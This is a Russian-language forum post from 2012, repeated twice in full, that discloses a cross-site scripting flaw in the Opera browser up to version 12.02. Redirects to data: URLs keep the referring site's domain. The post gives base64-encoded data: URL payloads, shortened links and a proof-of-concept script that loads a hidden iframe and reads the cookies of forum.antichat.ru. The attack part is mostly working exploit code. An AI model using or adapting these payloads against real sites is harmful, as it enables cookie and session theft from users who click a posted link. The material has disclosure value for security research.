10-06-2012, 09:02 PM
Браузер Opera позволяет выполнить XSS-атаку на любой сайт, который предоставляет возможность размещения ссылок на другие сайты.
Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась.
Советую предварительно ознакомится со следующей информацией:
http://ru.wikipedia.org/wiki/Правило_ограничения_домена
http://ru.wikipedia.org/wiki/Data:_URL
В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта.
Пример:
<script>alert(document.domain)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+
Ссылка, сокращенная через сервис tinyurl.com:
http://tinyurl.com/antichat-test1
При переходе по ссылке мы увидим алерт "tinyurl.com".
Если нажать Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку tinyurl.com/antichat-test1
При нажатии Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью JS-метода location.reload()
<script>
if(document.domain == 'tinyurl.com')
location.reload();
else
alert(document.domain);
</script>
data:text/ html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24u
cmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg==
Ссылка:
http://tinyurl.com/antichat-test2
Теперь в алерте будет домен, с которого осуществлялся переход. Согласно same origin policy это дает доступ к данным, находящимся на том же домене.
Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.
Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.
ПОК -
Читаем куки forum.antichat.ru
<script>
if(document.domain == 'tinyurl.com')
location.reload();
function xss()
{
alert(document.frames[0].document.cookie);
}
function ifrAdd()
{
var ifr = document.createElement('iframe');
ifr.style = 'width:0px;height:0px;visibility:hidden';
ifr.src = 'http';
ifr.src += document.referrer.length ? '' : 's';
ifr.src += '://forum.antichat.ru/css/a.css';
ifr.onload = function(){xss()};
document.body.appendChild(ifr);
}
</script>
<body onload=ifrAdd()>
data:text/ html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24u
cmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29r
aWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0
eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7
aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRp
Y2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFw
cGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk+
Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
http://tinyurl.com/antichat-cookie
Оригинальная тема -
https://rdot.org/forum/showthread.php?t=2444
Уязвимы версии для Opera для Windows, Mac и Linux до 12.02 включительно (последняя версия на сегодняшний день). На версиях до 9.50 проверка не проводилась.
Советую предварительно ознакомится со следующей информацией:
http://ru.wikipedia.org/wiki/Правило_ограничения_домена
http://ru.wikipedia.org/wiki/Data:_URL
В опере при перенаправлении с сайта на data:URL через HTTP-заголовок Location свойство document.domain имеет значение последнего перенаправляющего сайта.
Пример:
<script>alert(document.domain)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+
Ссылка, сокращенная через сервис tinyurl.com:
http://tinyurl.com/antichat-test1
При переходе по ссылке мы увидим алерт "tinyurl.com".
Если нажать Ctrl+R для повтора запроса, в алерте будет уже другой домен - тот, с которого осуществлен переход на ссылку tinyurl.com/antichat-test1
При нажатии Ctrl+R происходит не обновление текущей страницы, а полное повторение запроса. То же самое действие можно выполнить с помощью JS-метода location.reload()
<script>
if(document.domain == 'tinyurl.com')
location.reload();
else
alert(document.domain);
</script>
data:text/ html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24u
cmVsb2FkKCk7ZWxzZXthbGVydChkb2N1bWVudC5kb21haW4pfTwvc2NyaXB0Pg==
Ссылка:
http://tinyurl.com/antichat-test2
Теперь в алерте будет домен, с которого осуществлялся переход. Согласно same origin policy это дает доступ к данным, находящимся на том же домене.
Уязвим сайт, с которого пользователь переходит по ссылке, а не тот сайт, который перенаправлят (не tinyurl.com). "Open redirect" не нужен. Для проведения атаки на сайт достаточно возможности написать на нем ссылку.
Vulnerable the site where user clicks the link, not the one that redirects (not tinyurl.com). "Open redirect" is not needed. To attack the site enough to write on it a link.
ПОК -
Читаем куки forum.antichat.ru
<script>
if(document.domain == 'tinyurl.com')
location.reload();
function xss()
{
alert(document.frames[0].document.cookie);
}
function ifrAdd()
{
var ifr = document.createElement('iframe');
ifr.style = 'width:0px;height:0px;visibility:hidden';
ifr.src = 'http';
ifr.src += document.referrer.length ? '' : 's';
ifr.src += '://forum.antichat.ru/css/a.css';
ifr.onload = function(){xss()};
document.body.appendChild(ifr);
}
</script>
<body onload=ifrAdd()>
data:text/ html;base64,PHNjcmlwdD5pZihkb2N1bWVudC5kb21haW49PSd0aW55dXJsLmNvbScpbG9jYXRpb24u
cmVsb2FkKCk7ZnVuY3Rpb24gYSgpe2FsZXJ0KGRvY3VtZW50LmZyYW1lc1swXS5kb2N1bWVudC5jb29r
aWUpfWZ1bmN0aW9uIGIoKXt2YXIgaT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTtpLnN0
eWxlPSd3aWR0aDowcHg7aGVpZ2h0OjBweDt2aXNpYmlsaXR5OmhpZGRlbic7aS5zcmMgPSAnaHR0cCc7
aS5zcmMrPWRvY3VtZW50LnJlZmVycmVyLmxlbmd0aD8nJzoncyc7aS5zcmMrPSc6Ly9mb3J1bS5hbnRp
Y2hhdC5ydS9jc3MvYS5jc3MnO2kub25sb2FkPWZ1bmN0aW9uKCl7YSgpfTtkb2N1bWVudC5ib2R5LmFw
cGVuZENoaWxkKGkpfTwvc2NyaXB0Pjxib2R5IG9ubG9hZD1iKCk+
Ссылка (пример работает при переходе по ссылке с домена forum.antichat.ru):
http://tinyurl.com/antichat-cookie
Оригинальная тема -
https://rdot.org/forum/showthread.php?t=2444